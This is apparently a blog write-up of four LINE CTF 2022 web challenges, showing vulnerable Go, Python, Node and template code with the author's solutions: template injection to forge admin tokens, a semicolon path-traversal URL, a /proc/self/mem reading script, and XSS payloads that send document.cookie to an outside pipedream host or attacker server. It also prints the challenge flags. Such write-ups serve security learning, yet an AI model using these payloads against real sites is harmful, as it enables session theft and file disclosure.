GOTM
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
template injection is possible using id when print a login user
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
In order to get the flag, attacker need to login as admin.
already leaked secret key using ssti, so we can get the flag by forging token and login
FLAG : LINECTF{country_roads_takes_me_home}
Memo Drive
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
except:
pass
return templates.TemplateResponse('/view/view.html', context)
look at the part where the path is generated to read the file, there are some strange parts.
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
sending any parameter by bypass filter, we can control the path to read the flag
https://github.com/encode/starlette/issues/1325
according to this issue, the semicolon included in url is recognized as & and parsed
we can use this to bypass the filter and read the flag
http://34.146.195.115/view?e3798c5697b2a909c4af2f665982188c=flag;/%2e%2e/
FLAG : LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}
online-library
app.get("/:t/:s/:e", function (req, res) {
var s = Number(req.params.s);
var e = Number(req.params.e);
var t = req.params.t;
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.");
}
else {
Fs.stat("public/".concat(t), function (err, stats) {
if (err) {
res.end("No such a book in bookself.");
}
else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.");
}
else {
Fs.open("public/".concat(t), "r", function (err, fd) {
if (err || typeof fd !== "number") {
res.end("Invalid argument.");
}
else {
var buf = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
});
}
});
}
}
else {
res.end("There isn't size of book.");
}
}
});
}
});
we can read /proc/self/environ content if send a request like/..%2f..%2fproc%2fself%2fenviron/0/1024
For to get xss, we need to upload payload to the server, so i checked the process memory of node and found my request data.
Now that we know that our request data is in memory, we can get the flag by sending a request with payload to the server and reporting the url to the bot.
import requests
i= 1
offset = 262144
while(True):
url = f"http://35.243.100.112/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{offset * (i-1)}/{offset *i}"
res = requests.get(url)
i=i+1
if b"as3617hihi" in res.content:
print(url)
while true;do curl 'http://35.243.100.112/insert' -d "title=asdf&content=as3617hihi<script>window.location='https://enllwt2ugqrt.x.pipedream.net/'+document.cookie</script>" > /dev/null; done;
FLAG : LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}
Haribote Secure Note
<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-btRbWy6Oy1ZK7+ElUPbxW6JhEd0='
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
http-equiv="Content-Security-Policy">
Since csp is applied and new nonce is issued for each request, we need to use the tag that already has nonce applied.
{% if current_user.is_admin %}
<section id="sharedUserInfo">
<button id="printInfoBtn" type="button" class="btn btn-sm btn-outline-secondary btn-block">👀 Check shared
user information
</button>
</section>
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
const div = document.createElement('div');
div.classList.add('alert')
div.classList.add('alert-warning')
div.innerHTML = [
`[debug:${new Date().toISOString()}]`,
`UserId="${sharedUserId}"`,
`DisplayName="${sharedUserName}"`
].join(' ');
const sharedUserInfo = document.getElementById('sharedUserInfo');
sharedUserInfo.replaceChildren(div);
}
const printInfoBtn = document.getElementById('printInfoBtn');
printInfoBtn.addEventListener('click', printInfo);
</script>
{% endif %}
we can inject 16 bytes of shared_user_name in the admin page.
<script nonce="{{ csp_nonce }}">
const render = notes => {
const noteArea = document.getElementById("notes");
notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
for (const note of notes) {
const noteDiv = document.createElement("div");
noteDiv.classList.add("p-2")
noteDiv.classList.add("bg-light")
noteDiv.classList.add("border")
const title = document.createElement("h2");
title.innerHTML = note.title;
noteDiv.appendChild(title);
const content = document.createElement("p");
content.innerHTML = note.content;
noteDiv.appendChild(content);
const createdAt = document.createElement("time");
createdAt.innerHTML = `Created at: ${note.createdAt}`;
noteDiv.appendChild(createdAt)
noteArea.appendChild(noteDiv);
}
};
render({{ notes }})
</script>
second, data in notes is not escape, so we can use it to inject data into the script tag.
After that, I found an interesting post.
https://www.hahwul.com/2019/07/08/xss-payload-for-escaping-string-in/
I can get the flag using the following payload.
Displayname: <!--<script/"/*
Content: <img src="*/};location.href=`//server/`+document.cookie;//</script>">
FLAG : LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}
'ctf writeup' 카테고리의 다른 글
Balsn CTF 2022 2linenodejs writeup (0) | 2022.09.07 |
---|---|
2022 Fall GoN Open Qual CTF writeup (2) | 2022.09.01 |
Codegate 2022 Preliminary writeup (0) | 2022.02.27 |
Real World CTF 4th - web writeup (0) | 2022.01.30 |
m0leconCTF 2021 final web writeup (0) | 2021.12.04 |